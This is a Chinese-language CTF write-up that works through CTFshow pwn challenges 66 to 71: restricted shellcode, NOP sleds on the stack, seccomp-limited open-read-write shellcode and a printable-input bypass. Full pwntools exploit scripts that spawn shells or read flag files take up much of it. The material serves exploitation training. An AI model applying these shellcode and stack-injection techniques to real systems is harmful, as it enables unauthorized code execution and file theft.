0: 00 e4 add ah, ah
0: 00 e5 add ch, ah
0: 00 e6 add dh, ah
0: 00 e7 add bh, ah
0: 00 e8 add al, ch
0: 00 e9 add cl, ch
0: 00 ea add dl, ch
0: 00 eb add bl, ch
0: 00 ec add ah, ch
0: 00 ed add ch, ch
0: 00 ee add dh, ch
0: 00 ef add bh, ch
0: 00 f0 add al, dh
0: 00 f1 add cl, dh
0: 00 f2 add dl, dh
0: 00 f3 add bl, dh
0: 00 f4 add ah, dh
0: 00 f5 add ch, dh
0: 00 f6 add dh, dh
0: 00 f7 add bh, dh
0: 00 f8 add al, bh
0: 00 f9 add cl, bh
0: 00 fa add dl, bh
0: 00 fb add bl, bh
0: 00 fc add ah, bh
0: 00 fd add ch, bh
0: 00 fe add dh, bh
0: 00 ff add bh, bh
#省略,太多了
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28128)
shellcode = b'\x00\xc0' + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 22221
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Restricted shellcode !
* *************************************
Your shellcode is :
$ ls
ctfshow_flag

pwn67(好难,艰难版)

Hint:32bit nop sled

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位关闭NX PIE 有可读可写可执行的段

因此我们可以从堆栈中执行。向程序提供 shellcode 很容易,因为它只要求输入。现在我们只需要找到一种方法来跳转到我们的 shellcode。

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int position; // eax
void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF
unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF

seed[1025] = (unsigned int)&argc;
seed[1024] = __readgsdword(0x14u);
setbuf(stdout, 0);
logo();
srand((unsigned int)seed);
Loading();
acquire_satellites();
position = query_position();
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", position);
printf("What will you do?\n> ");
fgets((char *)seed, 4096, stdin);//缓冲区的长度为 0x1000 字节(4096)
printf("Where do you start?\n> ")
//用户可输入任意内存地址,程序会直接调用该地址处的代码
__isoc99_scanf("%p", &v5);
v5();
return 0;
}

query_position() 可以知道缓冲区在堆栈上的大致位置,

跟进query_position():

char *query_position()
{
char v1; // [esp+3h] [ebp-15h] BYREF
int v2; // [esp+4h] [ebp-14h]
char *v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
v2 = rand() % 1337 - 668;
v3 = &v1 + v2; // 计算 &v1 偏移 v2 字节后的地址
return &v1 + v2; // 返回这个随机栈地址
}

v2 = rand() % 1337 - 668; :这行代码使用 rand 函数生成一个随机数,并通过取模运算将其限制在范围 0 到 1336 之间。然后,从结果中减去 668,得到一个范围在-668 到 668 之间的随机整数,并将其存储在变量 v2 中。

低地址(栈底方向) 
+-------------------------+ <-- ebp-0x1010 (buffer 起始)
| buffer[0x1000] | 大缓冲区,占 0x1000 字节
| ... |
| buffer[0] |
+-------------------------+ <-- ebp-0x10 (padding 起始)
| padding [0x10] | 填充区,占0x10 字节(对齐用)【就是个栈桢对齐规则,不懂】
+-------------------------+ <-- ebp+0x4 (返回地址)
| 返回地址(4字节) | call 指令自动压栈,函数返回时用
+-------------------------+ <-- ebp (旧 ebp)
| 旧 ebp(4字节) | 保存上一层栈帧的 ebp,函数返回时恢复
+-------------------------+ <-- ebp-0x15 (局部变量区)
| stk [ebp-0x15] | 局部变量区,占 0x15 字节(21字节)
| ... |
高地址(栈顶方向)

21 (0x15) + 4 + 4 + 16 (0x10) = 45 字节 (0x2d)

#main函数从开始到执行到*query_position()函数的汇编代码
.text:0804894F push ebp; 保存调用者的ebp
.text:08048950 mov ebp, esp; 设置新的ebp为当前esp
.text:08048952 push ebx
.text:08048953 push ecx
.text:08048954 sub esp, 1010h; 为局部变量分配0x1010字节空间
#此时栈顶ESP = EBP - 4 (ebx) - 4 (ecx) - 0x1010
...
.text:08048978 sub esp, 8; 为函数参数准备空间
.text:0804897B push 0 ; 第一个参数buf
.text:0804897D push eax ; 第二个参数stream
.text:0804897E call _setbuf
.text:08048983 add esp, 10h ; 恢复栈指针
#这里的add esp, 10h操作是为了恢复栈指针。实际上,函数调用前 ESP 减少了 0x10 (8 字节 sub + 8 字节 push),但函数返回后 ESP 增加了 0x10,这是因为 C 调用约定中,调用者负责清理栈参数.
#此时esp=ebp-0x4-0x4-0x1010-0x8-0x4-0x4+0x10=ebp-0x4-0x4-0x1010
...
.text:08048991 sub esp, 0Ch ; 为函数参数准备空间
.text:08048994 push eax ; 第一个参数seed
.text:08048995 call _srand
.text:0804899A add esp, 10h ; 恢复栈指针
#此时的栈顶为ebp-0x4-0x4-0x1010-0xc-0x4+0x10=ebp-0x4-0x4-0x1010
.text:0804899D call Loading
.text:080489A2 call acquire_satellites
.text:080489A7 call query_position
高地址
+-------------------------+
│ main 函数栈帧 │
+-------------------------+ <-- main 的 EBP(新 EBP)
| 保存的旧 EBP | 4B (EBP)
+-------------------------+
| 保存的 EBX | 4B (EBP-4)
+-------------------------+
| 保存的 ECX | 4B (EBP-8)
+-------------------------+
| 未使用空间 |
| ... | 0x1010 - 0x100C = 4B
+-------------------------+
│ seed 变量 | 4B (EBP-0x100C) <-- main 局部变量
+-------------------------+
| v5 变量 | 4B (ebp-0x1010) <-- main 局部变量
+-------------------------+
| 未使用空间(0x10 相关) | #其实是add esp, 0x10
| ... |
+-------------------------+ <-- ebp-0x1010-0x4-0x4
|调用query_position的返回地址| 4B (EBP-0x15 - 4 = EBP-0x19)
+-------------------------+
│ query_position 函数栈帧 |
+-------------------------+ <-- query_position 的 EBP
| 保存的 main 的 EBP | 4B (EBP)
+-------------------------+
| query_position 局部变量 |
| ... | 0x15 - 4 = 0x11B
+-------------------------+
| v1 变量 | 4B (EBP-0x15) <-- query_position 局部变量
+-------------------------+ <-- ESP(栈顶)
低地址
所以,可以看出来v1 到 seed 的偏移 = 0x15(v1 在 query_position 的偏移)
+ 0x4(query_position 保存的 main ebp)
+ 0x4(query_position 的返回地址)
+ 0x10(main 栈帧内的对齐/残留空间)
= 0x2D
nop sled 空操作雪橇:

nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式。

攻击者通过输入字符串注入攻击代码。在实际的攻击代码前注入很长的 nop 指令 (操作,仅使程序计数器加一)序列,

只要程序的控制流指向该序列任意一处,程序计数器逐步加一,直到到达攻击代码的存在的地址,并执行。

由于栈地址在一定范围的随机性,攻击者不能够知道攻击代码注入的地址,而要执行攻击代码需要将函数的返回地址更改为攻击代码的地址(可通过缓冲区溢出的方式改写函数返回地址)。所以,只能在一定范围内(栈随机导致攻击代码地址一定范围内随机)枚举攻击代码位置(有依据的猜)。

不用 nop sled , 函数返回地址 -------> 攻击代码。
使用 nop sled , 函数返回地址 -------> nop 序列(顺序执行) 直到攻击代码地址。

为了安全地“绕过”不知道缓冲区的确切开始位置,我们可以:

  1. 将 shellcode 填充为以 1336 nop 条指令开头 ( 0x90 )
  2. 使用的返回值 query_position ,添加 0x2d (如前所述),然后添加 668
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
shellcode=asm(shellcraft.sh())
payload = b'\x90'*1336 + shellcode
io.recvuntil(b"The current location: 0x")
addr = u64(unhex(io.recvline(keepends=False).zfill(16)), endian='big')
#读取一行数据(keepends=False 去掉换行符),然后用 zfill(16) 补零到 16 个字符,unhex(...):把十六进制字符串转成字节序列;u64(..., endian='big'):将字节序列按大端序转成 64 位整数[十六进制字符串已经是大端序了]
print ("Addr: " + hex(addr))
io.recvuntil(b"> ")
io.sendline(payload)
io.recvuntil(b"> ")
sh = addr + 668 + 0x2d;
print("Sending: " + hex(sh))
io.sendline(hex(sh).encode())
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 155
Addr: 0xff9924d2
Sending: 0xff99279b
[*] Switching to interactive mode
$ ls
ctfshow_flag

还看了这个师傅的CTFshow-pwn入门-栈溢出 (慢慢更_ctfshow pwn50-CSDN博客

unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF
char v1; // [esp+3h] [ebp-15h] BYREF //

gdb ./pwn
pwndbg> b *0x080489A7#断在query_position()的call指令处
pwndbg> info registers ebp
ebp 0xffa51578 0xffa51578
pwndbg> si# 执行push ebp,旧ebp被压入栈,esp减少4
# 此时EIP会指向0x80487d2(mov ebp, esp),ebp仍为0xffa51578
pwndbg> si
# 执行mov ebp, esp,更新ebp为当前esp的值(新ebp)
# 此时EIP指向0x80487d4(下一条指令)
0x80487d1 <query_position> push ebp
► 0x80487d2 <query_position+1> mov ebp, esp

EBP => 0xffa50558 —▸ 0xffa51578 ◂— 0
两个 ebp 相差 0x1020, 1020 = 4 + 4 + padding + 0x100C,padding = 0xC
所以 v1 到 seed 偏移量 = 0x15 + 4 + 4 + padding = 41

from pwn import *
context(arch='i386',os='linux',log_level = 'debug')
io = process('./pwn')
shellcode = asm(shellcraft.sh())
io.recvuntil(b"The current location: ")
v5_addr = eval(io.recvuntil(b"\n",drop=True))#eval() 把这个十六进制字符串转换成整数
padding = 12
v1_seed = 0x15+4+4+padding #0x29也可以(不知道怎么看的)
print(hex(v5_addr))

payload = flat([b"\x90"*1336,shellcode])//相加
sh_addr = hex(v5_addr+668+v1_seed)encode()

io.sendlineafter(b"What will you do?\n> ", payload)
io.sendlineafter(b"Where do you start?\n> ", sh_addr)
io.interactive()

pwn68

Hint:64bit nop sled

分析结果同上,仅仅是32位与64位的区别。

char seed[4104]; // [rsp+10h] [rbp-1010h] BYREF
char v1; // [rsp+Bh] [rbp-15h] BYREF
ebp:0x7ffe53d64860->0x7ffe53d63830
两个 ebp 相差 0x1030, 0x1030 = 8 + 8 + padding + 0x1010,padding = 0x10
所以 v1 到 seed 偏移量 = 0x15 + 8 + 8 + padding = 0x35
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=process('./pwn')
shellcode=asm(shellcraft.sh())
payload = b'\x90'*1336 + shellcode
io.recvuntil(b"The current location: 0x")
addr = u64(unhex(io.recvline(keepends=False).zfill(16)),endian='big')
#读取一行数据(keepends=False 去掉换行符),然后用 zfill(16) 补零到 16 个字符
print ("Addr: " + hex(addr))
io.recvuntil(b"> ")
io.sendline(payload)
io.recvuntil(b"> ")
sh = addr + 668 + 0x35;
print("Sending: " + hex(sh))
io.sendline(hex(sh).encode())
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 71
Addr: 0x7ffcb41930cc
Sending: 0x7ffcb419339d
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn69

Hint:可以尝试用ORW读flag flag文件位置为/ctfshow_flag

ORW指的是Open-Read-Write技术,是一种利用系统调用读取文件内容(如flag文件)的攻击方法。

ORW通过以下三个系统调用实现:

open:打开目标文件,获取文件描述符。

read:通过文件描述符读取文件内容到缓冲区。

write:将缓冲区的内容写入标准输出。

当攻击者通过漏洞控制程序执行流程后,可以注入或执行类似ORW的代码来读取敏感文件。例如,攻击者可以通过ROP(Return-Oriented Programming)或直接注入汇编代码来实现ORW。

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments

64位仅部分开启RELRO。其他保护全关

IDA查看main函数(依据函数功能修改对应函数名):

__int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000u, 6, 34, -1, 0);
seccomp();
setvbuf();
ctfshow();
return 0;
}
/*mmap()函数的主要用途有三个:
1、将一个普通文件映射到内存中,通常在需要对文件进行频繁读写时使用,这样用内存读写取代I/O读
写,以获得较高的性能;
2、将特殊文件进行匿名内存映射,可以为关联进程提供共享内存空间;
3、为无关联的进程提供共享内存空间,一般也是将一个普通文件映射到内存中。*/

把从0x123000开始的地址,大小为0x1000的长度,权限改为可写可执行

跟进seccomp():

Seccomp(Secure Computing Mode)是 Linux 内核中的一种安全机制,用于限制进程可以调用的系统调用(Syscalls),从而减少潜在的攻击面。

沙盒环境:Seccomp 常用于沙盒环境中,限制程序的权限,防止恶意程序通过高风险系统调用攻击系统。

__int64 seccomp()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0);
seccomp_rule_add(v1, 2147418112, 0, 0); //初始化 seccomp 上下文
seccomp_rule_add(v1, 2147418112, 1, 0);
seccomp_rule_add(v1, 2147418112, 2, 0);
seccomp_rule_add(v1, 2147418112, 60, 0);
return seccomp_load(v1);
}
/*2147418112表示 “允许执行该系统调用”;第三个参数(如0、1、2、60):系统调用号(syscall number)对应read,write,open,exit;最后一个参数0:表示 “不检查系统调用的参数”(允许该系统调用的任何参数)*/

沙盒过滤,seccomp-tools 是一个用于分析和调试 Seccomp 策略的工具集,它可以帮助你检查程序是否启用了 Seccomp 以及其具体的 Seccomp 配置。通过运行 seccomp-tools dump ./pwn,你可以查看目标程序 ./pwn 的 Seccomp 策略。

$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

只有read,write,open,exit可以使用,使用 open–>read–>write 这样的orw的方式

跟进漏洞函数:

int ctfshow()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Now you can use ORW to do");
read(0, buf, 0x38u);
return puts("No you don't understand I say!");
}

明显的溢出漏洞 那么思路就是先写入orw类型的shellcode,然后跳转去执行,buf的大小只有0x20,感觉不够我们写全rop攻击链,程序一开始的时候给我们开辟了0x100可执行的空间,打算在这边写shellcode,然后用buf的溢出跳转过来执行我们的shellcode。

写orw的shellcode:

orw_shellcode = shellcraft.open("/ctfshow_flag") # 打开根目录下的ctfshow_flag文件
orw_shellcode += shellcraft.read(3,mmap,100) # 读取文件标识符是3的文件0x100个字节存放到mmap分配的地址空间里[0代表stdin,1代表stdout,2代表标准错误输出。其他文件就是从3开始了。]
orw_shellcode += shellcraft.write(1,mmap,100) # 将mmap地址上的内容输出0x100个字节
shellcode = asm(orw_shellcode)
#read里的fd写3是因为程序执行的时候文件描述符是从3开始的,write里的1是标准输出到显示器

然后buf里面的rop攻击链:

buf里面的rop攻击链是要往mmap里写入orw_shellcode,让程序跳转到mmap去执行orw_shellcode

payload = asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
#从标准输入(文件描述符 0)读取最多 0x100 字节的内容到 mmap_ar 指向的内存区域。
#将 rax 寄存器设置为 0x123000,然后跳转到该地址。这里的 0x123000 是 mmap_ar 的地址,用于跳转到攻击者控制的内存区域。

这样buf里的rop就达到了我们想要的目的,下面就要想办法让buf里的内容被执行,发现该程序有jmp rsp

$ ROPgadget --binary pwn  | grep jmp
0x0000000000400a01 : jmp rsp

其实就是这个后门函数

void sub_4009EE()
{
__asm { jmp rsp }
}

**rsp是栈顶指针寄存器,jmp rsp的作用是返回到栈顶,由于调用时是一个新的函数,所以开辟了新的栈,所以jmp rsp实际上是返回这条指令位置+8处。**那意味着我们可以通过这条指令跳转到当前栈顶处然后执行我们布置在栈上shellcode从而实现ORW。

利用它可以跳转到buf去执行,buf地址是rsp-0x30[buf的起始地址到 “返回地址” 的偏移:(rbp + 8) - (rbp - 0x20) = 0x28(+8是旧rbp的长度),再写入8字节jmp rsp地址(因为返回地址占 8 字节)]

所以buf中完整的rop攻击链:

jmp_rsp = 0x400a01
payload = asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
# buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
payload = payload.ljust(0x28,'a')
# buf的大小是0x20,加上rbp 0x8是0x28,用'\x00'去填充剩下的位置
payload += p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp") # 返回地址写上跳转到rsp
#asm("sub rsp,0x30; jmp rsp"):调整栈指针(rsp)的位置,使其指向栈上的有效代码
#sub rsp, 0x30:将栈指针rsp减去0x30(48 字节)。由于栈是向下增长的(地址从高到低),这会让rsp指向更靠前的栈内存(地址更小的位置)。
io.recvuntil('do')
io.sendline(payload)

将buf中的rop链发送后,再传入orw_shellcode就能读出flag了

from pwn import *
context.terminal = ['tmux', 'new-window']
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io = process('./pwn')
mmap = 0x123000
jmp_rsp = 0x400a01
orw_shellcode = shellcraft.open("/ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
shellcode = asm(orw_shellcode)
payload = asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
payload = payload.ljust(0x28,b'a')
payload += p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp")
io.recvuntil(b'do')
io.sendline(payload)
#pause()
io.sendline(shellcode)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 288
[*] Switching to interactive mode

No you don't understand I say!
flag{just_test_my_process}
/ctfshowPH\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_jdZ\xbe\x01\x01\x01\x01\x81\xf6\x011\x13\x01\x0f\x05j\x01_jdZ\xbe\x01\x01\x01\x01\x81\xf6\x011\x13\x01j\x01X\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00

pwn70

Hint:可以开始你的个人秀了 flag文件位置为/flag

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

64位程序部分开启RELRO,开启栈保护
告诉了我们flag文件位置,hint中还是让我们用ORW读flag,* Hint : Try use ‘ORW’ to get flag

查看沙箱的情况:

$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

1.程序只允许在 x86_64 架构下运行。

2.系统调用必须小于 0x40000000,否则拒绝执行。

3.特别地,如果系统调用是 execve(编号为 0x3b),则直接拒绝(KILL)。

需要注入shellcode来做,虽然有canary但是NX没开,栈还是能执行的。

ida 无法反汇编main:

.text:0000000000400A68 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000400A68
.text:0000000000400A68 var_80 = qword ptr -80h
.text:0000000000400A68 var_74 = dword ptr -74h
.text:0000000000400A68 s = byte ptr -70h
.text:0000000000400A68 var_8 = qword ptr -8
.text:0000000000400A68
.text:0000000000400A68 ; __unwind {
.text:0000000000400A68 push rbp
.text:0000000000400A69 mov rbp, rsp
.text:0000000000400A6C add rsp, 0FFFFFFFFFFFFFF80h ; ; 等价于 sub rsp, 0x80,在栈上分配 0x80 字节空间
.text:0000000000400A70 mov [rbp+var_74], edi
.text:0000000000400A73 mov [rbp+var_80], rsi
.text:0000000000400A77 mov rax, fs:28h ; 读取 fs 段的栈保护值(canary,用于检测栈溢出)
.text:0000000000400A80 mov [rbp+var_8], rax ; 保存 canary 到栈上
.text:0000000000400A84 xor eax, eax ; 初始化 eax 为 0
.text:0000000000400A86 mov eax, 0
.text:0000000000400A8B call init
.text:0000000000400A90 mov eax, 0
.text:0000000000400A95 call set_secommp #沙箱
.text:0000000000400A9A lea rax, [rbp+s] ; 获取栈上缓冲区 s 的地址(s 是 byte ptr -70h)
.text:0000000000400A9E mov esi, 68h ; 'h' ; n
.text:0000000000400AA3 mov rdi, rax ; s
.text:0000000000400AA6 call _bzero ; 清零 s 缓冲区的前 104 字节(防止残留数据干扰)
.text:0000000000400AAB mov eax, 0
.text:0000000000400AB0 call logo
.text:0000000000400AB5 lea rdi, aWelcomeTellMeY ; "Welcome,tell me your name:"
.text:0000000000400ABC call _puts
.text:0000000000400AC1 lea rax, [rbp+s] ; s 的地址
.text:0000000000400AC5 mov edx, 64h ; 'd' ; nbytes
.text:0000000000400ACA mov rsi, rax ; buf=s
.text:0000000000400ACD mov edi, 0 ; fd(标准输入)
.text:0000000000400AD2 mov eax, 0
.text:0000000000400AD7 call _read
.text:0000000000400ADC sub eax, 1 ;去掉末尾换行符 '\n'
.text:0000000000400ADF cdqe ; 将 eax 扩展为 64 位(rax)
.text:0000000000400AE1 mov [rbp+rax+s], 0 ; 在原换行符位置放 '\0',确保字符串结束
#读取用户输入(最多 100 字节),并通过截断换行符的方式,将输入转换为标准 C 字符串(以 \0 结尾)。
.text:0000000000400AE6 lea rax, [rbp+s]
.text:0000000000400AEA mov rdi, rax
.text:0000000000400AED call is_printable ; 调用 is_printable 检查输入是否合法
.text:0000000000400AF2 test eax, eax ; 检查返回值(0 表示非法,非 0 表示合法)
.text:0000000000400AF4 jz short loc_400AFE ; 若非法,跳转到错误处理
.text:0000000000400AF6 lea rax, [rbp+s] ; 若合法,获取 s 的地址
.text:0000000000400AFA call rax ; 关键:将输入的字符串作为函数地址调用!
.text:0000000000400AFC jmp short loc_400B0A ; 跳过错误处理
#若输入通过 is_printable 检查,则将输入的字符串内容当作函数指针直接调用。这是极高风险的操作 —— 如果输入的字符串恰好是某个有效函数的地址,且地址的每个字节都是可打印字符,就会执行该函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[0x70]; // [sp-70h] [bp-70h]@1(栈上缓冲区,大小0x70字节)
__int64 canary; // [sp-8h] [bp-8h]@1(栈保护canary)
ssize_t nread; // 临时变量,保存read返回值

// 保存 argc 和 argv 到栈上
*(int*)&argv[-1] = argc; // 对应 [rbp+var_74] = edi(edi是argc)
*(const char***)&argv[-2] = argv; // 对应 [rbp+var_80] = rsi(rsi是argv)

// 设置栈保护canary(编译器自动添加的栈溢出检测)
canary = *(__int64*)(__readfsqword(0x28) + 0x28); // 对应 fs:28h

// 初始化操作
init(); // 调用初始化函数
set_secommp(); // 调用沙箱配置函数

// 清零缓冲区s(前0x68字节)
bzero(s, 0x68u); // 对应 _bzero(s, 0x68)

// 打印程序标志和欢迎信息
logo(); // 调用logo函数
puts("Welcome,tell me your name:"); // 输出输入提示

// 读取用户输入(最多0x64字节)
nread = read(0, s, 0x64u); // 从标准输入(fd=0)读取数据到s

// 去除输入末尾的换行符(将'\n'替换为'\0')
if (nread > 0)
{
s[nread - 1] = 0; // 对应 [rbp + (nread-1) + s] = 0
}

// 检查输入是否全为可打印字符
if (is_printable(s) != 0)
{
// 若合法,将输入字符串作为函数指针调用
((void (*)())s)(); // 对应 call rax(rax是s的地址)
}

// 函数退出(省略栈保护检查和栈帧恢复逻辑)
return 0;
}

is_printable:

.text:00000000004008EA is_printable    proc near               ; CODE XREF: main+85↓p
.text:00000000004008EA
.text:00000000004008EA s = qword ptr -28h
.text:00000000004008EA var_14 = dword ptr -14h
.text:00000000004008EA
.text:00000000004008EA ; __unwind {
.text:00000000004008EA push rbp
.text:00000000004008EB mov rbp, rsp
.text:00000000004008EE push rbx
.text:00000000004008EF sub rsp, 28h ; 分配 0x28 字节栈空间
.text:00000000004008F3 mov [rbp+s], rdi ; 保存输入字符串地址(参数 s)到栈上
.text:00000000004008F7 mov [rbp+var_14], 0 ; 初始化计数器 var_14=0(即 i=0,用于遍历字符串)
.text:00000000004008FE jmp short loc_400933 ; 跳转到循环判断
.text:0000000000400900 ; ---------------------------------------------------------------------------
.text:0000000000400900
.text:0000000000400900 loc_400900: ; CODE XREF: is_printable+5E↓j
.text:0000000000400900 mov eax, [rbp+var_14] ; i
.text:0000000000400903 movsxd rdx, eax
.text:0000000000400906 mov rax, [rbp+s]
.text:000000000040090A add rax, rdx ; rax = &s[i]
.text:000000000040090D movzx eax, byte ptr [rax] ; eax = s[i](字符值)
.text:0000000000400910 cmp al, 1Fh ; 比较 s[i] 与 0x1F(31,ASCII 控制字符上限)
.text:0000000000400912 jle short loc_400928 ; 若 s[i] <= 31(控制字符,不可打印),返回 0
.text:0000000000400914 mov eax, [rbp+var_14] ; 再次获取 i(可能因跳转重新加载)
.text:0000000000400917 movsxd rdx, eax
.text:000000000040091A mov rax, [rbp+s]
.text:000000000040091E add rax, rdx ; rax = &s[i]
.text:0000000000400921 movzx eax, byte ptr [rax] ; eax = s[i]
.text:0000000000400924 cmp al, 7Fh ; 比较 s[i] 与 0x7F(127,DEL 控制字符)
.text:0000000000400926 jnz short loc_40092F ; 若 s[i] != 127,继续检查下一个字符
.text:0000000000400928
.text:0000000000400928 loc_400928: ; CODE XREF: is_printable+28↑j
.text:0000000000400928 mov eax, 0 ; 返回 0(表示输入非法)
.text:000000000040092D jmp short loc_40094F ; 退出函数
.text:000000000040092F ; ---------------------------------------------------------------------------
.text:000000000040092F
.text:000000000040092F loc_40092F: ; CODE XREF: is_printable+3C↑j
.text:000000000040092F add [rbp+var_14], 1 ; i++,继续下一次循环
.text:0000000000400933
.text:0000000000400933 loc_400933: ; CODE XREF: is_printable+14↑j
.text:0000000000400933 mov eax, [rbp+var_14] ; 获取 i
.text:0000000000400936 movsxd rbx, eax ; 扩展为 64 位(rbx = i)
.text:0000000000400939 mov rax, [rbp+s] ; 获取字符串 s 的地址
.text:000000000040093D mov rdi, rax ; s
.text:0000000000400940 call _strlen ; 计算字符串长度(rax = strlen(s))
.text:0000000000400945 cmp rbx, rax ; 比较 i 与字符串长度
.text:0000000000400948 jb short loc_400900 ; 若 i < 长度,进入循环体;否则循环结束
.text:000000000040094A mov eax, 1
.text:000000000040094F
.text:000000000040094F loc_40094F: ; CODE XREF: is_printable+43↑j
.text:000000000040094F add rsp, 28h
.text:0000000000400953 pop rbx
.text:0000000000400954 pop rbp
.text:0000000000400955 retn
.text:0000000000400955 ; } // starts at 4008EA
.text:0000000000400955 is_printable endp
signed __int64 __fastcall is_printable(const char *a1)
{
int i; // [sp+1Ch] [bp-14h]@1

for (i = 0; i < strlen(a1); ++i)
{
// 检查字符是否为不可打印字符(ASCII控制字符0-31或DEL字符127)
if (a1[i] <= 0x1F /*31*/ || a1[i] == 0x7F /*127*/)
return 0LL; // 存在非法字符,返回0
}
return 1LL; // 所有字符均为可打印字符,返回1
}
解一:

做过pwn66, 有strlen 的话可以找\x00开头的shellcode

可以在开头加上\x00 \xc0,用cat(“flag”)命令

from pwn import *
context(os='linux',arch="amd64",log_level="debug")
io = remote('pwn.chalenge.ctf.show',28120)
shellcode=b'\x00\xc0'
shellcode+=asm(shellcraft.cat('flag')) #生成读取flag文件shellcode
io.recvuntil(b"Welcome,tell me your name:")
io.sendline(shellcode)
io.interactive()
解二(ORW):

用汇编的原因是read会把flag读取到栈顶,write要在栈顶上读取然后写入到输出,如果是用shellcraft无法操作到栈顶

from pwn import *
context(os='linux',arch='amd64')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28120)
shellcode = '''
#调用open()
push 0
#绕过strlen()检查
mov r15, 0x67616c66 #将字符串'flag'的ASCII码放入r15寄存器
push r15 #将r15寄存器中的值推入栈顶,作为文件名参数
mov rdi, rsp #将栈顶指针移入rdi寄存器,作为第一个参数(文件名)
mov rsi, 0 #将0移入rsi寄存器,作为第二个参数(只读模式)
mov rax, 2 #将系统调用号2(sys_open)移入rax寄存器
syscall
#调用read()
mov r14, 3 #将文件描述符3移入r14寄存器(通常是标准输入)
mov rdi, r14 #将r14寄存器的值移入rdi寄存器,作为第一个参数(文件描述符)
mov rsi, rsp #将栈顶指针移入rsi寄存器,作为第二个参数(缓冲区)
mov rdx, 0xff #将0xff移入rdx寄存器,作为第三个参数(缓冲区大小)
mov rax, 0 #将系统调用号0(sys_read)移入rax寄存器
syscall
#调用write()
mov rdi,1 # 将1移入rdi寄存器,作为第一个参数(文件描述符,标准输出)
mov rsi, rsp # 将栈顶指针移入rsi寄存器,作为第二个参数(缓冲区)
mov rdx, 0xff # 将0xff移入rdx寄存器,作为第三个参数(要写入的字节数)
mov rax, 1 # 将系统调用号1(sys_write)移入rax寄存器
syscall
'''
payload = asm(shellcode)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Opening connection to pwn.challenge.ctf.show on port 28120: Done
[*] Switching to interactive mode
ctfshow{ba63d73f-2089-4a82-abf9-41f8e47b418d}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$

pwn71

Hint:32位的ret2syscall

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
